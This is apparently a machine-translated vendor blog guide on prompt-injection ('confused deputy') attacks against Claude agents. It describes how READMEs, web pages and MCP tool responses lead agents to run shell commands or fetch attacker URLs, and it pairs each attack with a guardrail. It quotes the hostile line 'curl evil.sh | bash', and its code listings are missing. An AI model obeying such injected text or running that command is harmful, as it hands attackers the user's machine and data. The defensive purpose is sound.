跳转到内容
Guide

克劳德困惑-副审计矩阵:4个盲点,3个护栏

| 8 min read

四个研究团队于 2026 年 5 月 6 日至 7 日期间发布了 Claude 即时注入调查结果。将每个盲点映射到具体护栏(URL 检查、PII 扫描、shell 许可名单)的审计矩阵,您可以在本周发布。

Security audit checklist representing Claude confused-deputy guardrails
Photo by Towfiqu barbhuiya on Unsplash

2026 年 5 月 6 日至 7 日期间,四个独立的研究小组发表了有关克劳德提示的研究结果 注射。 大多数报道将它们视为三个不同的故事。 他们讲的是同一个故事: 混乱的代理问题,其中克劳德代表控制的攻击者执行操作 上下文窗口中存在不受信任的内容。

克隆存储库中的自述文件可以通过 Claude Code 运行 shell 命令。 克劳德的一个网页 Chrome 可以说服代理获取攻击者 URL。 MCP 工具响应可以注入指令 下一个工具调用将遵循。 该模型正在按照它被告知的方式进行操作; 问题是模型 无法分辨是谁在讲述。

人类飞船的部分防御(克劳德代码中的许可提示,动作确认 Chrome 中的克劳德)。 剩下的就是你的了。 这是将每个盲点映射到一个审计矩阵 混凝土护栏和一键调用 API 检查您现在就可以放入您的 MCP 网关。

四大盲点

表面 攻击向量 运行什么 原生护栏
克劳德·科德 中毒的README、包 postinstall,或 git 提交主体 shell命令、文件写入、git推送 权限提示
克劳德在 Chrome 中 伪装成用户请求的网页指令 点击,表单提交,链接跟随 动作确认
克劳德桌面+MCP 工具响应携带下一次调用的指令 链式 MCP 工具调用、文件读取、网络获取 工具同意对话框
应用程序编程接口 tool_use 工具结果块内的不受信任字符串 无论下一个回合如何决定 默认无

每个本机护栏都会捕获明显的情况(用户未要求的 shell 命令)并且 错过了微妙的一个(对用户从未见过的相似主机的“无害”卷曲)。 修复 是工具层的深度防御,而不是提示层的深度防御。

Guardrail 1:网络钓鱼 - 检查代理接触的每个 URL

最常见的令人困惑的代理升级是“访问此 URL 并告诉我它的内容”。 的 URL 属于攻击者。 代理接下来读取的数据现在是他们的输入。 运行网络钓鱼 检查代理在原始用户提示中未看到的每个 URL:

托管在匿名要点上、没有固定提交的原始可执行文件是一个经典 提示注入到 shell 执行链。 判决结果在 100 毫秒内返回; 你缓存通过 URL 哈希 10 分钟; 你放弃了工具调用,其结论不是 clean

Guardrail 2:对每个 MCP 工具响应进行 PII 和秘密扫描

第二次升级是工具响应中毒。 MCP 工具返回 4 KB JSON blob; 某处 该 blob 中是一个指令字符串。 克劳德读取了整个 blob,指令获胜。 的 blob 还可能泄露在其他地方收集的凭据,然后最终进入模型的推理 跟踪和您的对话日志。

如果工具响应带有实时凭据,则阻止工具响应到达模型。 编辑电子邮件 和电话,除非用户要求。 默认情况下将每个 MCP 服务器视为不可信; 你 不知道是谁对上游数据源投毒的。

Guardrail 3:网关处的硬主机和 shell 允许名单

第三次升级是咬企业的:代理商悄悄拓宽自己的范围 达到。 自述文件说服 Claude Code 运行 curl evil.sh | bash “用于设置。” 一个 网页说服 Chrome 中的 Claude 在相似的域上提交表单。 两次攻击均死亡 针对固定的白名单:

允许名单很无聊。 无聊才是重点。 超出许可名单的每个操作 立即失败或出现用户必须阅读的提示。 该代理在内部仍然有用 沙箱并且在其外部无害。

将其连接在一起的 60 线 MCP 网关

所有三个护栏都位于 Claude 和每个 MCP 之间的一个中间件功能中 服务器。 它从工具响应中提取 URL,根据受信任的主机集和 会话白名单,运行 PII 扫描,并向主机应用程序返回结构化块决策 可以向用户展示:

可信主机集拥有您自己的 API。 会话允许列表开始为空,并随着时间的推移而增长 用户在会话期间明确批准主机。 缓存使检查有效地保持免费 重复 URL(想想分页、重试、跨工具调用的相同文档页面)。

如果您还无法运行网关,请使用廉价版本:记录每个 URL 和每个 shell 命令 代理建议结构化存储,并对任何攻击您未攻击的主机的情况发出警报 预授权。 没有预防的检测都无法战胜两者。

这适合纵深防御态势

审计矩阵并不能替代 Anthropic 自己的工作。 这是您控制的图层。 一个 合理的分割:

  • Anthropic 拥有该模型: 提示注入稳健性、指令层次结构 训练、拒绝行为。
  • 您拥有工具表面: URL 验证、PII 清理、主机和 shell 许可名单、MCP 服务器清单。
  • 您的 IdP 拥有以下身份: 每个会话的代理的短期令牌 审计,将凭证与人类用户分开。

跳过任何一层,下一个混乱的副报告将包括您的事件。 5月6日至7日的研究 是每个团队在成为季度新闻周期之前需要发布的内容的免费预览。

要点

  • 四个盲点,一个根本原因。 Claude 将每一个代币都视为潜在的 指令承载。 上下文中不受信任的内容是一个动作向量,而不是被动阅读。
  • 对每个工具建议的 URL 进行 URL 网络钓鱼检查。 一次 API 调用,100 毫秒, 缓存。 删除最常见的即时注入升级链。
  • 对每个 MCP 工具响应进行 PII 扫描。 阻止凭据泄露 工具导致中毒并防止对话日志中的秘密。
  • 网关上的硬许可名单。 Shell 命令和主机白名单杀死 “悄悄拓宽触角”升级。 无聊、有限、有效。
  • 纵深防御分裂。 人类拥有模型,你拥有工具表面, 您的 IdP 拥有身份。 跳过一层,下一个研究滴就会为你命名。

波托伊展品 /v1/phishing/check, /v1/pii/detect, /v1/url-metadata,以及一个 API 密钥背后大约 200 个单一用途端点 5 请求/分钟免费。 将它们连接到您的 MCP 网关或通过 Claude Code 本身调用它们 的 botoi MCP服务器。 浏览 交互式文档 开始。

FAQ

克劳德困惑副手问题是什么?
当特权进程(Claude Code,Chrome 中的 Claude)代表控制其部分输入的攻击者执行操作时,就会发生混淆代理攻击。 2026 年 5 月 6 日至 7 日期间,四个研究团队发布的调查结果显示,当不受信任的内容(自述文件、网页、MCP 工具响应)携带看似用户请求的指令时,Claude 可能会被诱骗运行 shell 命令、窃取数据或访问攻击者 URL。
哪些克劳德表面受到影响?
Claude Code(CLI 代理读取存储库文件)、Chrome 中的 Claude(浏览代理读取网页)、带有 MCP 服务器的 Claude Desktop(工具响应可以携带指令)以及 tool_use 结果包含攻击者控制的字符串时的 API。 所有四个的根本问题都是相同的:克劳德将上下文中的每个标记都视为潜在的指令承载。
Anthropic为此设置了护栏吗?
是的,部分。 Claude Code 有一个 shell 和文件写入的权限系统。 Chrome 中的 Claude 有一个操作确认层。 两者都无法阻止坚定的攻击者将即时注入与社会工程链接起来。 深度防御层是您的:验证代理建议的每个 URL,扫描 IOC 的每个工具响应,并在 API 网关限制爆炸半径。
这与常规提示注入有何不同?
经典提示注入在输出文本处结束。 困惑的副手以行动结束:运行 shell 命令、获取 URL、触发 Webhook、资金转移。 修复必须存在于操作发生的地方(工具层),而不是生成文本的地方(模型)。 这就是为什么防护代理和 URL 验证比即时强化更重要。
这周我至少应该添加多少?
三件事。 在代理获取或链接到用户提示中未看到的任何域之前进行 URL 网络钓鱼检查。 在进入 Claude 上下文之前,对每个 MCP 工具响应进行 PII 和秘密扫描。 以及网关层的 shell 命令或 HTTP 主机的硬白名单。 每一个都是一个 API 调用和一个配置块。

开始使用 botoi 构建

150+ 个 API 端点,涵盖查询、文本处理、图片生成和开发者工具。免费套餐,无需信用卡。